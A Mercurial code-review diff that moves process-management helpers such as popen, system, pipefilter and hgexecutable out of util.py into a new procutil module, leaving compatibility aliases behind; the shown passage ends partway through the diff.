##// END OF EJS Templates
procutil: move process/executable management functions to new module...
Yuya Nishihara -
r37136:5be286db default
parent child Browse files
Show More
@@ -22,18 +22,14 b' import contextlib'
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import imp
26 import io
27 import itertools
25 import itertools
28 import mmap
26 import mmap
29 import os
27 import os
30 import platform as pyplatform
28 import platform as pyplatform
31 import re as remod
29 import re as remod
32 import shutil
30 import shutil
33 import signal
34 import socket
31 import socket
35 import stat
32 import stat
36 import subprocess
37 import sys
33 import sys
38 import tempfile
34 import tempfile
39 import time
35 import time
@@ -52,6 +48,7 b' from . import ('
52 )
48 )
53 from .utils import (
49 from .utils import (
54 dateutil,
50 dateutil,
51 procutil,
55 stringutil,
52 stringutil,
56 )
53 )
57
54
@@ -69,9 +66,6 b' pickle = pycompat.pickle'
69 queue = pycompat.queue
66 queue = pycompat.queue
70 safehasattr = pycompat.safehasattr
67 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
72 stderr = pycompat.stderr
73 stdin = pycompat.stdin
74 stdout = pycompat.stdout
75 bytesio = pycompat.bytesio
69 bytesio = pycompat.bytesio
76 # TODO deprecate stringio name, as it is a lie on Python 3.
70 # TODO deprecate stringio name, as it is a lie on Python 3.
77 stringio = bytesio
71 stringio = bytesio
@@ -84,21 +78,8 b' urlreq = urllibcompat.urlreq'
84 # workaround for win32mbcs
78 # workaround for win32mbcs
85 _filenamebytestr = pycompat.bytestr
79 _filenamebytestr = pycompat.bytestr
86
80
87 def isatty(fp):
88 try:
89 return fp.isatty()
90 except AttributeError:
91 return False
92
93 # glibc determines buffering on first write to stdout - if we replace a TTY
94 # destined stdout with a pipe destined stdout (e.g. pager), we want line
95 # buffering
96 if isatty(stdout):
97 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
98
99 if pycompat.iswindows:
81 if pycompat.iswindows:
100 from . import windows as platform
82 from . import windows as platform
101 stdout = platform.winstdout(stdout)
102 else:
83 else:
103 from . import posix as platform
84 from . import posix as platform
104
85
@@ -110,16 +91,10 b' checkexec = platform.checkexec'
110 checklink = platform.checklink
91 checklink = platform.checklink
111 copymode = platform.copymode
92 copymode = platform.copymode
112 expandglobs = platform.expandglobs
93 expandglobs = platform.expandglobs
113 explainexit = platform.explainexit
114 findexe = platform.findexe
115 getfsmountpoint = platform.getfsmountpoint
94 getfsmountpoint = platform.getfsmountpoint
116 getfstype = platform.getfstype
95 getfstype = platform.getfstype
117 _gethgcmd = platform.gethgcmd
118 getuser = platform.getuser
119 getpid = os.getpid
120 groupmembers = platform.groupmembers
96 groupmembers = platform.groupmembers
121 groupname = platform.groupname
97 groupname = platform.groupname
122 hidewindow = platform.hidewindow
123 isexec = platform.isexec
98 isexec = platform.isexec
124 isowner = platform.isowner
99 isowner = platform.isowner
125 listdir = osutil.listdir
100 listdir = osutil.listdir
@@ -136,27 +111,17 b' oslink = platform.oslink'
136 parsepatchoutput = platform.parsepatchoutput
111 parsepatchoutput = platform.parsepatchoutput
137 pconvert = platform.pconvert
112 pconvert = platform.pconvert
138 poll = platform.poll
113 poll = platform.poll
139 popen = platform.popen
140 posixfile = platform.posixfile
114 posixfile = platform.posixfile
141 quotecommand = platform.quotecommand
142 readpipe = platform.readpipe
143 rename = platform.rename
115 rename = platform.rename
144 removedirs = platform.removedirs
116 removedirs = platform.removedirs
145 samedevice = platform.samedevice
117 samedevice = platform.samedevice
146 samefile = platform.samefile
118 samefile = platform.samefile
147 samestat = platform.samestat
119 samestat = platform.samestat
148 setbinary = platform.setbinary
149 setflags = platform.setflags
120 setflags = platform.setflags
150 setsignalhandler = platform.setsignalhandler
151 shellquote = platform.shellquote
152 shellsplit = platform.shellsplit
153 spawndetached = platform.spawndetached
154 split = platform.split
121 split = platform.split
155 sshargs = platform.sshargs
156 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
157 statisexec = platform.statisexec
123 statisexec = platform.statisexec
158 statislink = platform.statislink
124 statislink = platform.statislink
159 testpid = platform.testpid
160 umask = platform.umask
125 umask = platform.umask
161 unlink = platform.unlink
126 unlink = platform.unlink
162 username = platform.username
127 username = platform.username
@@ -165,14 +130,6 b' try:'
165 recvfds = osutil.recvfds
130 recvfds = osutil.recvfds
166 except AttributeError:
131 except AttributeError:
167 pass
132 pass
168 try:
169 setprocname = osutil.setprocname
170 except AttributeError:
171 pass
172 try:
173 unblocksignal = osutil.unblocksignal
174 except AttributeError:
175 pass
176
133
177 # Python compatibility
134 # Python compatibility
178
135
@@ -346,8 +303,6 b' except NameError:'
346 return memoryview(sliceable)[offset:offset + length]
303 return memoryview(sliceable)[offset:offset + length]
347 return memoryview(sliceable)[offset:]
304 return memoryview(sliceable)[offset:]
348
305
349 closefds = pycompat.isposix
350
351 _chunksize = 4096
306 _chunksize = 4096
352
307
353 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
@@ -464,30 +419,6 b' def mmapread(fp):'
464 return ''
419 return ''
465 raise
420 raise
466
421
467 def popen2(cmd, env=None, newlines=False):
468 # Setting bufsize to -1 lets the system decide the buffer size.
469 # The default for bufsize is 0, meaning unbuffered. This leads to
470 # poor performance on Mac OS X: http://bugs.python.org/issue4194
471 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
472 close_fds=closefds,
473 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
474 universal_newlines=newlines,
475 env=env)
476 return p.stdin, p.stdout
477
478 def popen3(cmd, env=None, newlines=False):
479 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
480 return stdin, stdout, stderr
481
482 def popen4(cmd, env=None, newlines=False, bufsize=-1):
483 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
484 close_fds=closefds,
485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 stderr=subprocess.PIPE,
487 universal_newlines=newlines,
488 env=env)
489 return p.stdin, p.stdout, p.stderr, p
490
491 class fileobjectproxy(object):
422 class fileobjectproxy(object):
492 """A proxy around file objects that tells a watcher when events occur.
423 """A proxy around file objects that tells a watcher when events occur.
493
424
@@ -1500,60 +1431,6 b' def clearcachedproperty(obj, prop):'
1500 if prop in obj.__dict__:
1431 if prop in obj.__dict__:
1501 del obj.__dict__[prop]
1432 del obj.__dict__[prop]
1502
1433
1503 def pipefilter(s, cmd):
1504 '''filter string S through command CMD, returning its output'''
1505 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1506 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1507 pout, perr = p.communicate(s)
1508 return pout
1509
1510 def tempfilter(s, cmd):
1511 '''filter string S through a pair of temporary files with CMD.
1512 CMD is used as a template to create the real command to be run,
1513 with the strings INFILE and OUTFILE replaced by the real names of
1514 the temporary files generated.'''
1515 inname, outname = None, None
1516 try:
1517 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1518 fp = os.fdopen(infd, r'wb')
1519 fp.write(s)
1520 fp.close()
1521 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1522 os.close(outfd)
1523 cmd = cmd.replace('INFILE', inname)
1524 cmd = cmd.replace('OUTFILE', outname)
1525 code = os.system(cmd)
1526 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1527 code = 0
1528 if code:
1529 raise error.Abort(_("command '%s' failed: %s") %
1530 (cmd, explainexit(code)))
1531 with open(outname, 'rb') as fp:
1532 return fp.read()
1533 finally:
1534 try:
1535 if inname:
1536 os.unlink(inname)
1537 except OSError:
1538 pass
1539 try:
1540 if outname:
1541 os.unlink(outname)
1542 except OSError:
1543 pass
1544
1545 _filtertable = {
1546 'tempfile:': tempfilter,
1547 'pipe:': pipefilter,
1548 }
1549
1550 def filter(s, cmd):
1551 "filter a string through a command that transforms its input to its output"
1552 for name, fn in _filtertable.iteritems():
1553 if cmd.startswith(name):
1554 return fn(s, cmd[len(name):].lstrip())
1555 return pipefilter(s, cmd)
1556
1557 def increasingchunks(source, min=1024, max=65536):
1434 def increasingchunks(source, min=1024, max=65536):
1558 '''return no less than min bytes per chunk while data remains,
1435 '''return no less than min bytes per chunk while data remains,
1559 doubling min after each chunk until it reaches max'''
1436 doubling min after each chunk until it reaches max'''
@@ -1644,18 +1521,8 b' def pathto(root, n1, n2):'
1644 b.reverse()
1521 b.reverse()
1645 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1522 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1646
1523
1647 def mainfrozen():
1648 """return True if we are a frozen executable.
1649
1650 The code supports py2exe (most common, Windows only) and tools/freeze
1651 (portable, not much used).
1652 """
1653 return (safehasattr(sys, "frozen") or # new py2exe
1654 safehasattr(sys, "importers") or # old py2exe
1655 imp.is_frozen(u"__main__")) # tools/freeze
1656
1657 # the location of data files matching the source code
1524 # the location of data files matching the source code
1658 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1525 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1659 # executable version (py2exe) doesn't support __file__
1526 # executable version (py2exe) doesn't support __file__
1660 datapath = os.path.dirname(pycompat.sysexecutable)
1527 datapath = os.path.dirname(pycompat.sysexecutable)
1661 else:
1528 else:
@@ -1663,92 +1530,6 b' else:'
1663
1530
1664 i18n.setdatapath(datapath)
1531 i18n.setdatapath(datapath)
1665
1532
1666 _hgexecutable = None
1667
1668 def hgexecutable():
1669 """return location of the 'hg' executable.
1670
1671 Defaults to $HG or 'hg' in the search path.
1672 """
1673 if _hgexecutable is None:
1674 hg = encoding.environ.get('HG')
1675 mainmod = sys.modules[r'__main__']
1676 if hg:
1677 _sethgexecutable(hg)
1678 elif mainfrozen():
1679 if getattr(sys, 'frozen', None) == 'macosx_app':
1680 # Env variable set by py2app
1681 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1682 else:
1683 _sethgexecutable(pycompat.sysexecutable)
1684 elif (os.path.basename(
1685 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1686 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1687 else:
1688 exe = findexe('hg') or os.path.basename(sys.argv[0])
1689 _sethgexecutable(exe)
1690 return _hgexecutable
1691
1692 def _sethgexecutable(path):
1693 """set location of the 'hg' executable"""
1694 global _hgexecutable
1695 _hgexecutable = path
1696
1697 def _testfileno(f, stdf):
1698 fileno = getattr(f, 'fileno', None)
1699 try:
1700 return fileno and fileno() == stdf.fileno()
1701 except io.UnsupportedOperation:
1702 return False # fileno() raised UnsupportedOperation
1703
1704 def isstdin(f):
1705 return _testfileno(f, sys.__stdin__)
1706
1707 def isstdout(f):
1708 return _testfileno(f, sys.__stdout__)
1709
1710 def shellenviron(environ=None):
1711 """return environ with optional override, useful for shelling out"""
1712 def py2shell(val):
1713 'convert python object into string that is useful to shell'
1714 if val is None or val is False:
1715 return '0'
1716 if val is True:
1717 return '1'
1718 return pycompat.bytestr(val)
1719 env = dict(encoding.environ)
1720 if environ:
1721 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1722 env['HG'] = hgexecutable()
1723 return env
1724
1725 def system(cmd, environ=None, cwd=None, out=None):
1726 '''enhanced shell command execution.
1727 run with environment maybe modified, maybe in different dir.
1728
1729 if out is specified, it is assumed to be a file-like object that has a
1730 write() method. stdout and stderr will be redirected to out.'''
1731 try:
1732 stdout.flush()
1733 except Exception:
1734 pass
1735 cmd = quotecommand(cmd)
1736 env = shellenviron(environ)
1737 if out is None or isstdout(out):
1738 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1739 env=env, cwd=cwd)
1740 else:
1741 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1742 env=env, cwd=cwd, stdout=subprocess.PIPE,
1743 stderr=subprocess.STDOUT)
1744 for line in iter(proc.stdout.readline, ''):
1745 out.write(line)
1746 proc.wait()
1747 rc = proc.returncode
1748 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1749 rc = 0
1750 return rc
1751
1752 def checksignature(func):
1533 def checksignature(func):
1753 '''wrap a function with code to check for calling errors'''
1534 '''wrap a function with code to check for calling errors'''
1754 def check(*args, **kwargs):
1535 def check(*args, **kwargs):
@@ -2133,21 +1914,6 b' def splitpath(path):'
2133 function if need.'''
1914 function if need.'''
2134 return path.split(pycompat.ossep)
1915 return path.split(pycompat.ossep)
2135
1916
2136 def gui():
2137 '''Are we running in a GUI?'''
2138 if pycompat.isdarwin:
2139 if 'SSH_CONNECTION' in encoding.environ:
2140 # handle SSH access to a box where the user is logged in
2141 return False
2142 elif getattr(osutil, 'isgui', None):
2143 # check if a CoreGraphics session is available
2144 return osutil.isgui()
2145 else:
2146 # pure build; use a safe default
2147 return True
2148 else:
2149 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2150
2151 def mktempcopy(name, emptyok=False, createmode=None):
1917 def mktempcopy(name, emptyok=False, createmode=None):
2152 """Create a temporary file with the same contents from name
1918 """Create a temporary file with the same contents from name
2153
1919
@@ -2716,56 +2482,6 b' def iterlines(iterator):'
2716 def expandpath(path):
2482 def expandpath(path):
2717 return os.path.expanduser(os.path.expandvars(path))
2483 return os.path.expanduser(os.path.expandvars(path))
2718
2484
2719 def hgcmd():
2720 """Return the command used to execute current hg
2721
2722 This is different from hgexecutable() because on Windows we want
2723 to avoid things opening new shell windows like batch files, so we
2724 get either the python call or current executable.
2725 """
2726 if mainfrozen():
2727 if getattr(sys, 'frozen', None) == 'macosx_app':
2728 # Env variable set by py2app
2729 return [encoding.environ['EXECUTABLEPATH']]
2730 else:
2731 return [pycompat.sysexecutable]
2732 return _gethgcmd()
2733
2734 def rundetached(args, condfn):
2735 """Execute the argument list in a detached process.
2736
2737 condfn is a callable which is called repeatedly and should return
2738 True once the child process is known to have started successfully.
2739 At this point, the child process PID is returned. If the child
2740 process fails to start or finishes before condfn() evaluates to
2741 True, return -1.
2742 """
2743 # Windows case is easier because the child process is either
2744 # successfully starting and validating the condition or exiting
2745 # on failure. We just poll on its PID. On Unix, if the child
2746 # process fails to start, it will be left in a zombie state until
2747 # the parent wait on it, which we cannot do since we expect a long
2748 # running process on success. Instead we listen for SIGCHLD telling
2749 # us our child process terminated.
2750 terminated = set()
2751 def handler(signum, frame):
2752 terminated.add(os.wait())
2753 prevhandler = None
2754 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2755 if SIGCHLD is not None:
2756 prevhandler = signal.signal(SIGCHLD, handler)
2757 try:
2758 pid = spawndetached(args)
2759 while not condfn():
2760 if ((pid in terminated or not testpid(pid))
2761 and not condfn()):
2762 return -1
2763 time.sleep(0.1)
2764 return pid
2765 finally:
2766 if prevhandler is not None:
2767 signal.signal(signal.SIGCHLD, prevhandler)
2768
2769 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2485 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2770 """Return the result of interpolating items in the mapping into string s.
2486 """Return the result of interpolating items in the mapping into string s.
2771
2487
@@ -3257,7 +2973,7 b" def getstackframes(skip=0, line=' %-*s i"
3257 yield line % (fnmax, fnln, func)
2973 yield line % (fnmax, fnln, func)
3258
2974
3259 def debugstacktrace(msg='stacktrace', skip=0,
2975 def debugstacktrace(msg='stacktrace', skip=0,
3260 f=stderr, otherf=stdout, depth=0):
2976 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3261 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2977 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3262 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2978 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3263 By default it will flush stdout first.
2979 By default it will flush stdout first.
@@ -4076,6 +3792,50 b' strdate = _deprecatedfunc(dateutil.strda'
4076 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3792 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4077 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3793 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4078
3794
3795 stderr = procutil.stderr
3796 stdin = procutil.stdin
3797 stdout = procutil.stdout
3798 explainexit = procutil.explainexit
3799 findexe = procutil.findexe
3800 getuser = procutil.getuser
3801 getpid = procutil.getpid
3802 hidewindow = procutil.hidewindow
3803 popen = procutil.popen
3804 quotecommand = procutil.quotecommand
3805 readpipe = procutil.readpipe
3806 setbinary = procutil.setbinary
3807 setsignalhandler = procutil.setsignalhandler
3808 shellquote = procutil.shellquote
3809 shellsplit = procutil.shellsplit
3810 spawndetached = procutil.spawndetached
3811 sshargs = procutil.sshargs
3812 testpid = procutil.testpid
3813 try:
3814 setprocname = procutil.setprocname
3815 except AttributeError:
3816 pass
3817 try:
3818 unblocksignal = procutil.unblocksignal
3819 except AttributeError:
3820 pass
3821 closefds = procutil.closefds
3822 isatty = procutil.isatty
3823 popen2 = procutil.popen2
3824 popen3 = procutil.popen3
3825 popen4 = procutil.popen4
3826 pipefilter = procutil.pipefilter
3827 tempfilter = procutil.tempfilter
3828 filter = procutil.filter
3829 mainfrozen = procutil.mainfrozen
3830 hgexecutable = procutil.hgexecutable
3831 isstdin = procutil.isstdin
3832 isstdout = procutil.isstdout
3833 shellenviron = procutil.shellenviron
3834 system = procutil.system
3835 gui = procutil.gui
3836 hgcmd = procutil.hgcmd
3837 rundetached = procutil.rundetached
3838
4079 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
3839 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4080 binary = _deprecatedfunc(stringutil.binary, '4.6')
3840 binary = _deprecatedfunc(stringutil.binary, '4.6')
4081 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3841 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
This diff has been collapsed as it changes many lines, (3790 lines changed) Show them Hide them
@@ -1,4 +1,4 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # procutil.py - utility for managing processes and executable environment
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
@@ -7,82 +7,31 b''
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 from __future__ import absolute_import
11
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
14 """
15
16 from __future__ import absolute_import, print_function
17
11
18 import abc
19 import bz2
20 import collections
21 import contextlib
22 import errno
23 import gc
24 import hashlib
25 import imp
12 import imp
26 import io
13 import io
27 import itertools
28 import mmap
29 import os
14 import os
30 import platform as pyplatform
31 import re as remod
32 import shutil
33 import signal
15 import signal
34 import socket
35 import stat
36 import subprocess
16 import subprocess
37 import sys
17 import sys
38 import tempfile
18 import tempfile
39 import time
19 import time
40 import traceback
41 import warnings
42 import zlib
43
20
44 from . import (
21 from ..i18n import _
22
23 from .. import (
45 encoding,
24 encoding,
46 error,
25 error,
47 i18n,
48 node as nodemod,
49 policy,
26 policy,
50 pycompat,
27 pycompat,
51 urllibcompat,
52 )
53 from .utils import (
54 dateutil,
55 stringutil,
56 )
28 )
57
29
58 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
30 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
61
62 b85decode = base85.b85decode
63 b85encode = base85.b85encode
64
31
65 cookielib = pycompat.cookielib
66 empty = pycompat.empty
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
69 queue = pycompat.queue
70 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
72 stderr = pycompat.stderr
32 stderr = pycompat.stderr
73 stdin = pycompat.stdin
33 stdin = pycompat.stdin
74 stdout = pycompat.stdout
34 stdout = pycompat.stdout
75 bytesio = pycompat.bytesio
76 # TODO deprecate stringio name, as it is a lie on Python 3.
77 stringio = bytesio
78 xmlrpclib = pycompat.xmlrpclib
79
80 httpserver = urllibcompat.httpserver
81 urlerr = urllibcompat.urlerr
82 urlreq = urllibcompat.urlreq
83
84 # workaround for win32mbcs
85 _filenamebytestr = pycompat.bytestr
86
35
87 def isatty(fp):
36 def isatty(fp):
88 try:
37 try:
@@ -97,75 +46,29 b' if isatty(stdout):'
97 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
46 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
98
47
99 if pycompat.iswindows:
48 if pycompat.iswindows:
100 from . import windows as platform
49 from .. import windows as platform
101 stdout = platform.winstdout(stdout)
50 stdout = platform.winstdout(stdout)
102 else:
51 else:
103 from . import posix as platform
52 from .. import posix as platform
104
105 _ = i18n._
106
53
107 bindunixsocket = platform.bindunixsocket
108 cachestat = platform.cachestat
109 checkexec = platform.checkexec
110 checklink = platform.checklink
111 copymode = platform.copymode
112 expandglobs = platform.expandglobs
113 explainexit = platform.explainexit
54 explainexit = platform.explainexit
114 findexe = platform.findexe
55 findexe = platform.findexe
115 getfsmountpoint = platform.getfsmountpoint
116 getfstype = platform.getfstype
117 _gethgcmd = platform.gethgcmd
56 _gethgcmd = platform.gethgcmd
118 getuser = platform.getuser
57 getuser = platform.getuser
119 getpid = os.getpid
58 getpid = os.getpid
120 groupmembers = platform.groupmembers
121 groupname = platform.groupname
122 hidewindow = platform.hidewindow
59 hidewindow = platform.hidewindow
123 isexec = platform.isexec
124 isowner = platform.isowner
125 listdir = osutil.listdir
126 localpath = platform.localpath
127 lookupreg = platform.lookupreg
128 makedir = platform.makedir
129 nlinks = platform.nlinks
130 normpath = platform.normpath
131 normcase = platform.normcase
132 normcasespec = platform.normcasespec
133 normcasefallback = platform.normcasefallback
134 openhardlinks = platform.openhardlinks
135 oslink = platform.oslink
136 parsepatchoutput = platform.parsepatchoutput
137 pconvert = platform.pconvert
138 poll = platform.poll
139 popen = platform.popen
60 popen = platform.popen
140 posixfile = platform.posixfile
141 quotecommand = platform.quotecommand
61 quotecommand = platform.quotecommand
142 readpipe = platform.readpipe
62 readpipe = platform.readpipe
143 rename = platform.rename
144 removedirs = platform.removedirs
145 samedevice = platform.samedevice
146 samefile = platform.samefile
147 samestat = platform.samestat
148 setbinary = platform.setbinary
63 setbinary = platform.setbinary
149 setflags = platform.setflags
150 setsignalhandler = platform.setsignalhandler
64 setsignalhandler = platform.setsignalhandler
151 shellquote = platform.shellquote
65 shellquote = platform.shellquote
152 shellsplit = platform.shellsplit
66 shellsplit = platform.shellsplit
153 spawndetached = platform.spawndetached
67 spawndetached = platform.spawndetached
154 split = platform.split
155 sshargs = platform.sshargs
68 sshargs = platform.sshargs
156 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
157 statisexec = platform.statisexec
158 statislink = platform.statislink
159 testpid = platform.testpid
69 testpid = platform.testpid
160 umask = platform.umask
161 unlink = platform.unlink
162 username = platform.username
163
70
164 try:
71 try:
165 recvfds = osutil.recvfds
166 except AttributeError:
167 pass
168 try:
169 setprocname = osutil.setprocname
72 setprocname = osutil.setprocname
170 except AttributeError:
73 except AttributeError:
171 pass
74 pass
@@ -174,296 +77,8 b' try:'
174 except AttributeError:
77 except AttributeError:
175 pass
78 pass
176
79
177 # Python compatibility
178
179 _notset = object()
180
181 def _rapply(f, xs):
182 if xs is None:
183 # assume None means non-value of optional data
184 return xs
185 if isinstance(xs, (list, set, tuple)):
186 return type(xs)(_rapply(f, x) for x in xs)
187 if isinstance(xs, dict):
188 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
189 return f(xs)
190
191 def rapply(f, xs):
192 """Apply function recursively to every item preserving the data structure
193
194 >>> def f(x):
195 ... return 'f(%s)' % x
196 >>> rapply(f, None) is None
197 True
198 >>> rapply(f, 'a')
199 'f(a)'
200 >>> rapply(f, {'a'}) == {'f(a)'}
201 True
202 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
203 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
204
205 >>> xs = [object()]
206 >>> rapply(pycompat.identity, xs) is xs
207 True
208 """
209 if f is pycompat.identity:
210 # fast path mainly for py2
211 return xs
212 return _rapply(f, xs)
213
214 def bitsfrom(container):
215 bits = 0
216 for bit in container:
217 bits |= bit
218 return bits
219
220 # python 2.6 still have deprecation warning enabled by default. We do not want
221 # to display anything to standard user so detect if we are running test and
222 # only use python deprecation warning in this case.
223 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
224 if _dowarn:
225 # explicitly unfilter our warning for python 2.7
226 #
227 # The option of setting PYTHONWARNINGS in the test runner was investigated.
228 # However, module name set through PYTHONWARNINGS was exactly matched, so
229 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
230 # makes the whole PYTHONWARNINGS thing useless for our usecase.
231 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
234 if _dowarn and pycompat.ispy3:
235 # silence warning emitted by passing user string to re.sub()
236 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
237 r'mercurial')
238 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
239 DeprecationWarning, r'mercurial')
240
241 def nouideprecwarn(msg, version, stacklevel=1):
242 """Issue an python native deprecation warning
243
244 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
245 """
246 if _dowarn:
247 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
248 " update your code.)") % version
249 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
250
251 DIGESTS = {
252 'md5': hashlib.md5,
253 'sha1': hashlib.sha1,
254 'sha512': hashlib.sha512,
255 }
256 # List of digest types from strongest to weakest
257 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
258
259 for k in DIGESTS_BY_STRENGTH:
260 assert k in DIGESTS
261
262 class digester(object):
263 """helper to compute digests.
264
265 This helper can be used to compute one or more digests given their name.
266
267 >>> d = digester([b'md5', b'sha1'])
268 >>> d.update(b'foo')
269 >>> [k for k in sorted(d)]
270 ['md5', 'sha1']
271 >>> d[b'md5']
272 'acbd18db4cc2f85cedef654fccc4a4d8'
273 >>> d[b'sha1']
274 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
275 >>> digester.preferred([b'md5', b'sha1'])
276 'sha1'
277 """
278
279 def __init__(self, digests, s=''):
280 self._hashes = {}
281 for k in digests:
282 if k not in DIGESTS:
283 raise error.Abort(_('unknown digest type: %s') % k)
284 self._hashes[k] = DIGESTS[k]()
285 if s:
286 self.update(s)
287
288 def update(self, data):
289 for h in self._hashes.values():
290 h.update(data)
291
292 def __getitem__(self, key):
293 if key not in DIGESTS:
294 raise error.Abort(_('unknown digest type: %s') % k)
295 return nodemod.hex(self._hashes[key].digest())
296
297 def __iter__(self):
298 return iter(self._hashes)
299
300 @staticmethod
301 def preferred(supported):
302 """returns the strongest digest type in both supported and DIGESTS."""
303
304 for k in DIGESTS_BY_STRENGTH:
305 if k in supported:
306 return k
307 return None
308
309 class digestchecker(object):
310 """file handle wrapper that additionally checks content against a given
311 size and digests.
312
313 d = digestchecker(fh, size, {'md5': '...'})
314
315 When multiple digests are given, all of them are validated.
316 """
317
318 def __init__(self, fh, size, digests):
319 self._fh = fh
320 self._size = size
321 self._got = 0
322 self._digests = dict(digests)
323 self._digester = digester(self._digests.keys())
324
325 def read(self, length=-1):
326 content = self._fh.read(length)
327 self._digester.update(content)
328 self._got += len(content)
329 return content
330
331 def validate(self):
332 if self._size != self._got:
333 raise error.Abort(_('size mismatch: expected %d, got %d') %
334 (self._size, self._got))
335 for k, v in self._digests.items():
336 if v != self._digester[k]:
337 # i18n: first parameter is a digest name
338 raise error.Abort(_('%s mismatch: expected %s, got %s') %
339 (k, v, self._digester[k]))
340
341 try:
342 buffer = buffer
343 except NameError:
344 def buffer(sliceable, offset=0, length=None):
345 if length is not None:
346 return memoryview(sliceable)[offset:offset + length]
347 return memoryview(sliceable)[offset:]
348
349 closefds = pycompat.isposix
80 closefds = pycompat.isposix
350
81
351 _chunksize = 4096
352
353 class bufferedinputpipe(object):
354 """a manually buffered input pipe
355
356 Python will not let us use buffered IO and lazy reading with 'polling' at
357 the same time. We cannot probe the buffer state and select will not detect
358 that data are ready to read if they are already buffered.
359
360 This class let us work around that by implementing its own buffering
361 (allowing efficient readline) while offering a way to know if the buffer is
362 empty from the output (allowing collaboration of the buffer with polling).
363
364 This class lives in the 'util' module because it makes use of the 'os'
365 module from the python stdlib.
366 """
367 def __new__(cls, fh):
368 # If we receive a fileobjectproxy, we need to use a variation of this
369 # class that notifies observers about activity.
370 if isinstance(fh, fileobjectproxy):
371 cls = observedbufferedinputpipe
372
373 return super(bufferedinputpipe, cls).__new__(cls)
374
375 def __init__(self, input):
376 self._input = input
377 self._buffer = []
378 self._eof = False
379 self._lenbuf = 0
380
381 @property
382 def hasbuffer(self):
383 """True is any data is currently buffered
384
385 This will be used externally a pre-step for polling IO. If there is
386 already data then no polling should be set in place."""
387 return bool(self._buffer)
388
389 @property
390 def closed(self):
391 return self._input.closed
392
393 def fileno(self):
394 return self._input.fileno()
395
396 def close(self):
397 return self._input.close()
398
399 def read(self, size):
400 while (not self._eof) and (self._lenbuf < size):
401 self._fillbuffer()
402 return self._frombuffer(size)
403
404 def readline(self, *args, **kwargs):
405 if 1 < len(self._buffer):
406 # this should not happen because both read and readline end with a
407 # _frombuffer call that collapse it.
408 self._buffer = [''.join(self._buffer)]
